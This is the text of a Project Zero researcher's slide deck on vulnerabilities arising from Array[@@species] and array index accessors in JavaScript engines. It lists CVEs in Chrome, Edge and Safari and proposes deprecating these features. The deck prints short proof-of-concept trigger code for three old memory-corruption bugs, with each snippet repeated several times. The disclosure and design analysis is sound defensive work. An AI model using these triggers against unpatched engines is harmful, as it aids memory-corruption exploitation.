1 of 16

Array[@@species], Array Index Accessors and Security

2 of 16

About Me

  • Natalie Silvanovich AKA natashenka
  • Google Project Zero member
  • Reporter of 100+ vulnerabilities in JavaScript and ECMA-like engines

3 of 16

Array[@@species] and Array Index Accessors

  • Many vulnerabilities have been reported in these features since their introduction

4 of 16

Array[@@species] Vulnerabilities

  • CVE-2017-5030: Out-of-bounds read in V8 Array.concat (Chrome)
  • CVE-2017-8634: Overflow in Array.concat (Edge)
  • CVE-2017-7064: appendMemcpy uninitialized memory copy (Safari)
  • CVE-2016-7190: Heap Overflow in Array.map (Edge)
  • CVE-2016-7200: Heap Overflow in Array.filter (Edge)
  • CVE-2017-0134: Overflow in Array.concat (Edge)
  • Bug 725865: Array Species Optimization Issue (Chrome)

5 of 16

Sample Array[@@species] Bug (CVE-2016-7200)

class dummy{� constructor(){ return [1, 2, 3]; }�}�class MyArray extends Array {� static get [Symbol.species]() { return dummy; }�}�var a = new MyArray({}, [], "natalie", 7, 7, 7, 7, 7);�function test(i){ return true; }�var o = a.filter(test);

class dummy{� constructor(){ return [1, 2, 3]; }�}�class MyArray extends Array {� static get [Symbol.species]() { return dummy; }�}�var a = new MyArray({}, [], "natalie", 7, 7, 7, 7, 7);�function test(i){ return true; }�var o = a.filter(test);

class dummy{� constructor(){ return [1, 2, 3]; }�}�class MyArray extends Array {� static get [Symbol.species]() { return dummy; }�}�var a = new MyArray({}, [], "natalie", 7, 7, 7, 7, 7);�function test(i){ return true; }�var o = a.filter(test);

class dummy{� constructor(){ return [1, 2, 3]; }�}�class MyArray extends Array {� static get [Symbol.species]() { return dummy; }�}�var a = new MyArray({}, [], "natalie", 7, 7, 7, 7, 7);�function test(i){ return true; }�var o = a.filter(test);

class dummy{� constructor(){ return [1, 2, 3]; }�}�class MyArray extends Array {� static get [Symbol.species]() { return dummy; }�}�var a = new MyArray({}, [], "natalie", 7, 7, 7, 7, 7);�function test(i){ return true; }�var o = a.filter(test);

class dummy{� constructor(){ return [1, 2, 3]; }�}�class MyArray extends Array {� static get [Symbol.species]() { return dummy; }�}�var a = new MyArray({}, [], "natalie", 7, 7, 7, 7, 7);�function test(i){ return true; }�var o = a.filter(test);

6 of 16

Why does Array[@@species] have so many bugs?

  • Violates developer expectation by adding call to user code in new location
    • Has side effects
  • Modified functions were generally written years ago

7 of 16

Array[@@species] modification rate

8 of 16

Array Index Accessor Bugs

  • Bug 386988: Out-of-bounds access vulnerability in Array.concat() (Chrome)
  • CVE-2016-5129: V8 OOB Read in GC with Array Object (Chrome)
  • CVE-2016-3386: Stack Overflow in Spread Operator (Edge)
  • CVE-2016-7202: Overflow in Array.reverse (Edge)
  • CVE-2016-7194: Info Leak in Function.apply (Edge)
  • CVE-2016-7194: Proxy Memory Corruption (Edge)
  • CVE-2016-7189: Info Leak in Array.join (Edge)
  • PZ 1230: Uninitialized memory reference in arrayProtoFuncSplice (Safari)
  • CVE-2016-7203: Heap Overflow in Array.splice (Edge)

9 of 16

Array Index Accessor Bugs requiring Array Inheritance

  • PZ 1230: uninitialized memory reference in arrayProtoFuncSplice (Safari)
  • CVE-2016-1646: v8 Array.concat OOB access (Chrome)
  • CVE-2016-1677: type confusion lead to information leak in decodeURI (Chrome)
  • CVE-2017-0141: memory corruption in Array.reverse (Edge)
  • CVE-2017-2447: Out-of-bounds read when calling bound function (Safari)
  • CVE-2017-6980: arrayProtoFuncSplice doesn't initialize all indices (Safari)
  • CVE-2017-7005: JSGlobalObject::haveABadTime causes type confusion (Safari)
  • CVE-2017-6984: heap buffer overflow in Intl.getCanonicalLocales (Safari)

10 of 16

Sample Array Index Accessor Bug (CVE-2016-7189)

var t = new Array(1,2,3);� Object.defineProperty(t, '2', {� get: function() {� t[0] = {};� for(var i = 0; i < 100; i++){� t[i] = {a : i};� }� return 7;� }� });�var s = [].join.call(t);

var t = new Array(1,2,3);� Object.defineProperty(t, '2', {� get: function() {� t[0] = {};� for(var i = 0; i < 100; i++){� t[i] = {a : i};� }� return 7;� }� });�var s = [].join.call(t);

var t = new Array(1,2,3);� Object.defineProperty(t, '2', {� get: function() {� t[0] = {};� for(var i = 0; i < 100; i++){� t[i] = {a : i};� }� return 7;� }� });�var s = [].join.call(t);

var t = new Array(1,2,3);� Object.defineProperty(t, '2', {� get: function() {� t[0] = {};� for(var i = 0; i < 100; i++){� t[i] = {a : i};� }� return 7;� }� });�var s = [].join.call(t);

var t = new Array(1,2,3);� Object.defineProperty(t, '2', {� get: function() {� t[0] = {};� for(var i = 0; i < 100; i++){� t[i] = {a : i};� }� return 7;� }� });�var s = [].join.call(t);

11 of 16

Sample Inheritance Bug (CVE-2017-2447)

var ba;

function s(){

ba = this;

}

function dummy(){}

Object.defineProperty(Array.prototype, "0", {set : s });

var f = dummy.bind({}, 1, 2, 3, 4);

ba.length = 100000;

f(1, 2, 3);

var ba;

function s(){

ba = this;

}

function dummy(){}

Object.defineProperty(Array.prototype, "0", {set : s });

var f = dummy.bind({}, 1, 2, 3, 4);

ba.length = 100000;

f(1, 2, 3);

var ba;

function s(){

ba = this;

}

function dummy(){}

Object.defineProperty(Array.prototype, "0", {set : s });

var f = dummy.bind({}, 1, 2, 3, 4);

ba.length = 100000;

f(1, 2, 3);

var ba;

function s(){

ba = this;

}

function dummy(){}

Object.defineProperty(Array.prototype, "0", {set : s });

var f = dummy.bind({}, 1, 2, 3, 4);

ba.length = 100000;

f(1, 2, 3);

var ba;

function s(){

ba = this;

}

function dummy(){}

Object.defineProperty(Array.prototype, "0", {set : s });

var f = dummy.bind({}, 1, 2, 3, 4);

ba.length = 100000;

f(1, 2, 3);

var ba;

function s(){

ba = this;

}

function dummy(){}

Object.defineProperty(Array.prototype, "0", {set : s });

var f = dummy.bind({}, 1, 2, 3, 4);

ba.length = 100000;

f(1, 2, 3);

12 of 16

Why Do Array Index Accessors Have So Many Bugs?

  • Violates developer expectations by adding call to user code in new location
  • Affects methods without code changes
  • Can affect Array.prototype and newly created Arrays
    • Increased JavaScript implementation of host functions is a factor
  • Requires a lot of code to implement

13 of 16

Usage

14 of 16

Options

  • Deprecate Array[@@species]
  • Deprecate Index Accessors
    • Complete deprecation
    • Don’t allow index accessors on Arrays
    • Make Arrays non-configurable
      • Performance/maintainability benefit
  • Make prototypes of built-in classes read only

15 of 16

Options

  • Provide enhanced developer guidance
  • Consider complexity, developer expectations and impact on existing code in future features

16 of 16

Questions and Discussion

http://googleprojectzero.blogspot.com/

@natashenka

natashenka@google.com